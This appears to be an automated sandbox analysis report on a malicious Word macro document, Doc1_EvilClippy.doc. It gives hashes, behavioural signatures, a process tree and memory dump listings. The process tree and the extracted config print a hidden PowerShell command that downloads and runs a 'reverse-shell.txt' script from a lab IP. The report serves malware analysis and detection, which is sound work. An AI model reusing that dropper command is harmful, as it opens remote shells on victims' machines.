Analysis

  • max time kernel
    20s
  • max time network
    23s
  • platform
    windows7_x64
  • resource
    win7-20220901-en
  • resource tags

    arch:x64arch:x86image:win7-20220901-enlocale:en-usos:windows7-x64system
  • submitted
    29/10/2022, 18:52

General

  • Target

    Doc1_EvilClippy.doc

  • Size

    30KB

  • MD5

    60d46af0f500125b3d49f685297e8b33

  • SHA1

    471cf82445a2a8f36a0b80883b51b5f1cf1944ca

  • SHA256

    f076274d1ec7ef443a1bb86174b87b8c494afd1fa39f925d8d31139d35be344d

  • SHA512

    f529f97724dd017a3033982edcd7f2a5316d9361b00cd025efb479a5a779ec0e41e4a58d03e32dc7405ea7abaf281c0912f53b44a5b7aaec3b31679e3ca5dfb6

  • SSDEEP

    192:gIlLZEvA+6/6rNavrgYjk+4bWlyA58ttzsMKhvjg0jCL7abLrkMso:gE8iSwvxjk+tyA0t7Sjg0jCmLrjb

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

http://192.168.233.129:80/reverse-shell.txt

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Drops file in Windows directory 1 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies Internet Explorer settings 1 TTPs 31 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\Doc1_EvilClippy.doc"
    1⤵
    • Drops file in Windows directory
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1376
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:996
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -c "$code=(New-Object System.Net.Webclient).DownloadString('http://192.168.233.129:80/reverse-shell.txt'); iex 'powershell -E $code'"
        2⤵
        • Process spawned unexpected child process
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1176

    Network

    MITRE ATT&CK Enterprise v6

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • memory/996-60-0x000007FEFBD91000-0x000007FEFBD93000-memory.dmp

      Filesize

      8KB

    • memory/1176-73-0x000000006AAB0000-0x000000006B05B000-memory.dmp

      Filesize

      5.7MB

    • memory/1176-72-0x0000000004BD0000-0x0000000005221000-memory.dmp

      Filesize

      6.3MB

    • memory/1376-58-0x00000000711BD000-0x00000000711C8000-memory.dmp

      Filesize

      44KB

    • memory/1376-54-0x0000000072751000-0x0000000072754000-memory.dmp

      Filesize

      12KB

    • memory/1376-61-0x00000000004D2000-0x00000000004F3000-memory.dmp

      Filesize

      132KB

    • memory/1376-62-0x00000000004D2000-0x00000000004F3000-memory.dmp

      Filesize

      132KB

    • memory/1376-63-0x00000000004D2000-0x00000000004F3000-memory.dmp

      Filesize

      132KB

    • memory/1376-64-0x00000000004D2000-0x00000000004F3000-memory.dmp

      Filesize

      132KB

    • memory/1376-67-0x00000000004D2000-0x00000000004F3000-memory.dmp

      Filesize

      132KB

    • memory/1376-57-0x0000000075091000-0x0000000075093000-memory.dmp

      Filesize

      8KB

    • memory/1376-56-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/1376-55-0x00000000701D1000-0x00000000701D3000-memory.dmp

      Filesize

      8KB

    • memory/1376-74-0x00000000711BD000-0x00000000711C8000-memory.dmp

      Filesize

      44KB